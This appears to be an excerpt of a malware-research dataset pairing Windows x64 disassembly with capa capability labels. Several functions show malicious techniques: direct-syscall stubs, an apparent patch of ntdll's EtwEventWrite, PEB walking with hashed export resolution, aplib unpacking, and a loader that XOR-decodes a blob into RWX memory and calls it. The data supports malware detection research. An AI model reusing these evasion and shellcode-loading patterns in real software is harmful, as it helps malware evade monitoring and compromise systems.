joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe338fad6
call fcn.140001b8c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001040
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x47c1414f
call fcn.140001b8c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001080
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x37853f20
call fcn.140001b8c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400010c0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x7c2b67ad
call fcn.140001b8c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001100
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x20b82624
call fcn.140001b8c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140001140
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
xor edi, edi
mov dword [rbp + 0x27], 0x65004b
lea rcx, [rbp - 9]
mov word [rbp + 0x3f], di
mov dword [rbp + 0x67], edi
mov dword [rbp + 0x2b], 0x6e0072
mov dword [rbp + 0x2f], 0x6c0065
mov dword [rbp + 0x33], 0x320033
mov dword [rbp + 0x37], 0x64002e
mov dword [rbp + 0x3b], 0x6c006c
mov qword [rbp + 0x77], 0x1000
mov dword [rbp - 9], 0x74006e
mov dword [rbp - 5], 0x6c0064
mov dword [rbp - 1], 0x2e006c
mov dword [rbp + 3], 0x6c0064
mov dword [rbp + 7], 0x6c
mov dword [rbp - 0x19], 0x45777445
mov dword [rbp - 0x15], 0x746e6576
mov dword [rbp - 0x11], 0x74697257
mov word [rbp - 0xd], 0x65
call fcn.1400019b4
mov rcx, rax
lea rdx, [rbp - 0x19]
call fcn.140001a18
mov qword [rbp + 0x6f], rax
lea r9d, [rdi + 0x40]
lea rax, [rbp + 0x67]
or rbx, 0xffffffffffffffff
lea r8, [rbp + 0x77]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6f]
mov rcx, rbx
call fcn.140001040
mov rcx, qword [rbp + 0x6f]
lea r8d, [rdi + 4]
lea rdx, [0x1400052b0]
call fcn.1400012d4
mov r9d, dword [rbp + 0x67]
lea rax, [rbp + 0x67]
lea r8, [rbp + 0x77]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6f]
mov rcx, rbx
call fcn.140001040
movdqa xmm0, xmmword [0x140005440]
lea rcx, [rbp + 0x27]
movdqu xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0x1f], 0x68636143
mov word [rbp + 0x23], 0x65
call fcn.1400019b4
mov rcx, rax
lea rdx, [rbp + 0xf]
call fcn.140001a18
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp + 0x6f]
mov r8d, 0x1000
mov rcx, rax
call rbx
mov rbx, qword [rsp + 0xc8]
xor eax, eax
add rsp, 0x90
pop r14
pop rdi
pop rbp
ret
Function at 0x140001a18
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, dword [rcx + 0x3c]
mov r9, rcx
mov rbp, rdx
mov r8d, dword [r15 + rcx + 0x88]
add r8, rcx
mov esi, dword [r8 + 0x1c]
mov r11d, dword [r8 + 0x20]
add rsi, rcx
mov r14d, dword [r8 + 0x24]
add r11, rcx
add r14, rcx
xor ecx, ecx
cmp rdx, 0x10000
jae 0x140001a8c
mov r10d, dword [r8 + 0x10]
movzx edx, bp
cmp edx, r10d
jb 0x140001b85
mov ecx, dword [r8 + 0x14]
add ecx, r10d
cmp edx, ecx
jae 0x140001b85
sub edx, r10d
mov ecx, dword [rsi + rdx*4]
jmp 0x140001acd
xor eax, eax
cmp dword [r8 + 0x18], eax
jbe 0x140001ad0
mov r10d, dword [r11]
mov rdx, rbp
add r10, r9
sub r10, rbp
movzx ebx, byte [rdx]
movzx edi, byte [rdx + r10]
sub ebx, edi
jne 0x140001ab3
inc rdx
test edi, edi
jne 0x140001aa0
test ebx, ebx
je 0x140001ac5
inc eax
add r11, 4
cmp eax, dword [r8 + 0x18]
jb 0x140001a94
jmp 0x140001ad0
movzx ecx, word [r14 + rax*2]
mov ecx, dword [rsi + rcx*4]
add rcx, r9
cmp rcx, r8
jb 0x140001b69
mov eax, dword [r15 + r9 + 0x8c]
lea rdx, [rax + rax*4]
lea rax, [r8 + rdx*8]
cmp rcx, rax
jae 0x140001b69
call sub.api_ms_win_crt_string_l1_1_0.dll__strdup
mov rbx, rax
test rax, rax
je 0x140001b85
mov edx, 0x2e
mov rcx, rax
call fcn.140002178
mov rdi, rax
mov byte [rax], 0
mov rax, qword [0x140008068]
test rax, rax
jne 0x140001b45
lea rcx, str.KERNEL32.DLL
call fcn.1400019b4
mov rcx, rax
lea rdx, [0x140005450]
call fcn.140001a18
mov qword [0x140008068], rax
test rax, rax
je 0x140001b85
mov rcx, rbx
call rax
mov rcx, rbx
mov rsi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
test rsi, rsi
je 0x140001b85
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.140001a18
mov rcx, rax
mov rax, rcx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
xor eax, eax
jmp 0x140001b6c

Function at 0x140001bd0
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x479a4d5e
cmp byte [rcx], r9b
je 0x140001bfa
movzx ecx, word [rcx]
mov edx, eax
ror edx, 8
inc r9d
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x140001be0
ret
Function at 0x140001bfc
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp dword [0x1400087c0], 0
jne 0x140001d9a
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140001dbc
mov r9d, 0x20202020
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
test ecx, ecx
je 0x140001c7f
lea rdx, [rdi + rcx]
mov ecx, dword [rdx + 0xc]
mov eax, dword [rcx + rdi]
or eax, r9d
cmp eax, 0x6c64746e
jne 0x140001c7f
mov eax, dword [rcx + rdi + 4]
or eax, r9d
cmp eax, 0x6c642e6c
je 0x140001c8b
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140001c4b
test rdx, rdx
je 0x140001dbc
mov r15d, dword [rdx + 0x1c]
mov r14d, dword [rdx + 0x20]
add r15, rdi
mov r12d, dword [rdx + 0x24]
add r14, rdi
mov ebp, dword [rdx + 0x18]
add r12, rdi
xor esi, esi
lea eax, [rbp - 1]
mov ecx, dword [r14 + rax*4]
mov ebp, eax
add rcx, rdi
mov r13d, eax
mov eax, 0x775a
cmp word [rcx], ax
jne 0x140001d03
mov ebx, esi
add rbx, rbx
call fcn.140001bd0
lea rcx, [0x1400087c0]
inc esi
mov dword [rcx + rbx*8 + 8], eax
movzx eax, word [r12 + r13*2]
lea r13, [0x1400087c0]
mov eax, dword [r15 + rax*4]
and qword [r13 + rbx*8 + 0x10], 0
mov dword [r13 + rbx*8 + 0xc], eax
cmp esi, 0x1f4
je 0x140001d0e
jmp 0x140001d0a
lea r13, [0x1400087c0]
test ebp, ebp
jne 0x140001cae
xor r8d, r8d
mov dword [0x1400087c0], esi
lea eax, [rsi - 1]
test eax, eax
je 0x140001d9a
mov eax, esi
xor ecx, ecx
sub eax, r8d
cmp eax, 1
je 0x140001d8f
lea r11d, [rcx + 1]
mov r10d, ecx
add r10, r10
mov r9d, r11d
add r9, r9
mov edi, dword [r13 + r10*8 + 0xc]
mov ebx, dword [r13 + r9*8 + 0xc]
cmp edi, ebx
jbe 0x140001d80
mov eax, dword [r13 + r9*8 + 8]
mov edx, dword [r13 + r10*8 + 8]
mov rcx, qword [r13 + r10*8 + 0x10]
mov dword [r13 + r10*8 + 8], eax
mov rax, qword [r13 + r9*8 + 0x10]
mov qword [r13 + r10*8 + 0x10], rax
mov dword [r13 + r10*8 + 0xc], ebx
mov dword [r13 + r9*8 + 8], edx
mov dword [r13 + r9*8 + 0xc], edi
mov qword [r13 + r9*8 + 0x10], rcx
mov esi, dword [0x1400087c0]
mov eax, esi
mov ecx, r11d
sub eax, r8d
dec eax
cmp r11d, eax
jb 0x140001d2a
inc r8d
lea eax, [rsi - 1]
cmp r8d, eax
jb 0x140001d1e
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor eax, eax
jmp 0x140001d9f

Function at 0x140002adc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002b26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b26
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b28
xor al, al
add rsp, 0x28
ret
Function at 0x140ce3058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140ce31df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ce3089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ce306f
add dl, dl
jne 0x140ce3096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ce30f6
xor eax, eax
add dl, dl
jne 0x140ce30a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ce31ad
add dl, dl
jne 0x140ce30b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ce30c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ce30d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ce30dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ce30ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ce307e
mov eax, 1
add dl, dl
jne 0x140ce3106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ce3113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ce30fb
sub eax, ebx
mov ebx, 1
jne 0x140ce314c
mov ecx, 1
add dl, dl
jne 0x140ce312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ce313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ce3123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ce307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ce3168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ce3175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ce315d
cmp eax, 0x7d00
jae 0x140ce319b
cmp eax, 0x500
jb 0x140ce3196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ce307e
cmp eax, 0x7f
ja 0x140ce319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ce307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ce31d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ce307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400017c0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x10], rdx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r15, rdx
mov rsi, rcx
sub r15, rcx
mov r9d, 4
mov qword [rsp + 0x38], r15
nop dword [rax]
mov r8d, 4
nop word [rax + rax]
movzx eax, byte [r15 + rcx]
xor byte [rcx], al
inc rcx
sub r8, 1
jne 0x140001800
sub r9, 1
jne 0x1400017f0
mov r15, qword [rsp + 0x40]
mov r12b, 1
lea r10, str.cw
mov r8, rsi
mov r9d, 4
nop
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r10]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001840
inc r8
sub r9, 1
jne 0x140001830
movzx eax, byte [rsi + 5]
movzx ecx, byte [rsi + 1]
mov byte [rsi + 1], al
movzx eax, byte [rsi + 9]
mov byte [rsi + 5], al
movzx eax, byte [rsi + 0xd]
mov byte [rsi + 9], al
movzx eax, byte [rsi + 0xa]
mov byte [rsi + 0xd], cl
movzx ecx, byte [rsi + 2]
mov byte [rsi + 2], al
movzx eax, byte [rsi + 0xe]
mov byte [rsi + 0xa], cl
movzx ecx, byte [rsi + 6]
mov byte [rsi + 6], al
movzx eax, byte [rsi + 0xf]
mov byte [rsi + 0xe], cl
movzx ecx, byte [rsi + 3]
mov byte [rsi + 3], al
movzx eax, byte [rsi + 0xb]
mov byte [rsi + 0xf], al
movzx eax, byte [rsi + 7]
mov byte [rsi + 0xb], al
mov byte [rsi + 7], cl
cmp r12b, 0xa
je 0x1400019ce
lea r14, [rsi + 2]
lea ebp, [rdx + 4]
nop dword [rax]
nop word [rax + rax]
movzx edi, byte [r14 - 2]
movzx r8d, byte [r14 - 1]
movzx edx, dil
movzx ebx, byte [r14 + 1]
xor dl, r8b
movzx r10d, byte [r14]
lea r14, [r14 + 4]
movzx eax, dl
movzx r9d, bl
shr al, 7
add dl, dl
movzx eax, al
xor r9b, r10b
imul ecx, eax, 0x1b
movzx r11d, r9b
xor r11b, dil
xor r11b, r8b
xor cl, dl
movzx edx, r8b
xor cl, dil
xor dl, r10b
xor cl, r11b
movzx eax, dl
mov byte [r14 - 6], cl
xor dil, bl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
movzx eax, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r11b
mov byte [r14 - 5], cl
imul ecx, eax, 0x1b
movzx eax, dil
shr al, 7
add dil, dil
movzx eax, al
xor cl, r9b
xor cl, r10b
xor cl, r11b
mov byte [r14 - 4], cl
imul ecx, eax, 0x1b
xor cl, dil
xor cl, bl
xor cl, r11b
mov byte [r14 - 3], cl
sub rbp, 1
jne 0x1400018d0
movzx r8d, r12b
lea r9d, [rbp + 4]
shl r8, 4
mov rax, rsi
sub r8, rsi
add r8, r15
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x1400019b0
sub r9, 1
jne 0x1400019a0
inc r12b
jmp 0x14000181e
mov r15, qword [rsp + 0x38]
mov edx, 4
nop dword [rax + rax]
mov ecx, 4
nop word [rax + rax]
movzx eax, byte [r15 + rsi + 0xa0]
xor byte [rsi], al
inc rsi
sub rcx, 1
jne 0x1400019f0
sub rdx, 1
jne 0x1400019e0
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x14000e790
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x14001f380], rbx
je 0x14000e7f7
cmp rax, rbx
jne 0x14000e7ea
mov ebx, 1
mov esi, ebx
jmp 0x14000e7fc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000e7cf
mov ebx, 1
mov eax, dword [0x14001f388]
cmp eax, ebx
jne 0x14000e814
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000e880
mov eax, dword [0x14001f388]
test eax, eax
jne 0x14000e875
mov dword [0x14001f388], ebx
lea r15, [0x140010b88]
lea rdi, [0x140010b70]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000e867
test eax, eax
jne 0x14000e86b
cmp qword [rdi], r14
je 0x14000e85c
mov rax, qword [rdi]
mov rcx, qword [0x140010b20]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000e83e
test eax, eax
je 0x14000e87b
mov eax, 0xff
jmp 0x14000e9d6
mov dword [0x14001ebf8], ebx
mov edi, 0x1f
mov eax, dword [0x14001f388]
cmp eax, ebx
jne 0x14000e8a7
lea rdx, [0x140010b68]
lea rcx, [0x140010b28]
call sub.msvcrt.dll__initterm
mov dword [0x14001f388], 2
test esi, esi
jne 0x14000e8b5
mov rax, r14
xchg qword [0x14001f380], rax
cmp qword [0x14001f3a0], r14
je 0x14000e8e8
lea rcx, [0x14001f3a0]
call fcn.14000f0a0
test eax, eax
je 0x14000e8e8
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001f3a0]
mov r9, qword [0x140010b20]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000e901
mov eax, 0xff
jmp 0x14000e9d6
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000e987
test ax, ax
je 0x14000e91c
test edx, edx
jne 0x14000e987
sub ax, bx
cmp ax, di
ja 0x14000e932
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000e91c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000b6e4
mov dword [0x14001ebf4], eax
cmp dword [0x14001ec18], r14d
jne 0x14000e970
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001ebf8], r14d
jne 0x14000e985
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001ebf4]
jmp 0x14000e9d6
cmp ax, 0x22
jne 0x14000e99b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000e90a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1401c8000
add rsp, 0x28
jmp 0x14000e790
Function at 0x140b49160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140b492e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140b49191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b49177
add dl, dl
jne 0x140b4919e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b491fe
xor eax, eax
add dl, dl
jne 0x140b491ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b492b5
add dl, dl
jne 0x140b491be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b491cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b491d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b491e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140b491f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140b49186
mov eax, 1
add dl, dl
jne 0x140b4920e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b4921b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b49203
sub eax, ebx
mov ebx, 1
jne 0x140b49254
mov ecx, 1
add dl, dl
jne 0x140b49236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b49243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b4922b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b49186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140b49270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b4927d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b49265
cmp eax, 0x7d00
jae 0x140b492a3
cmp eax, 0x500
jb 0x140b4929e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b49186
cmp eax, 0x7f
ja 0x140b492a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b49186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140b492da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140b49186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14010f000]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14010f010]
mov dword [rax], 1
mov rax, qword [0x14010f020]
mov dword [rax], 1
mov rax, qword [0x14010ef80]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14010eff0]
mov dword [0x14011200c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14010f0c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14010f0a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14010ef60]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x10ac50
call fcn.140002610
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x50]
lea rdx, section..rdata
mov ecx, 0x10ac01
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x55], 0xff9c125e
mov byte [rbp - 0x51], 0xe2
mov dword [rbp + 0x10abcc], 4
jmp 0x14000151a
mov eax, dword [rbp + 0x10abcc]
cdqe
movzx eax, byte [rbp + rax - 0x55]
movzx edx, al
lea rax, [rbp - 0x50]
mov r8d, 0x10ac00
mov rcx, rax
call sym.decode
sub dword [rbp + 0x10abcc], 1
cmp dword [rbp + 0x10abcc], 0
jns 0x1400014f1
mov qword [rbp + 0x10abc0], 0x10ac01
mov rax, qword [rbp + 0x10abc0]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x10abb8], rax
mov rcx, qword [rbp + 0x10abc0]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x10abb8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x10abb8]
call rax
mov eax, 0
add rsp, 0x10ac50
pop rbp
ret

Function at 0x140001850
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]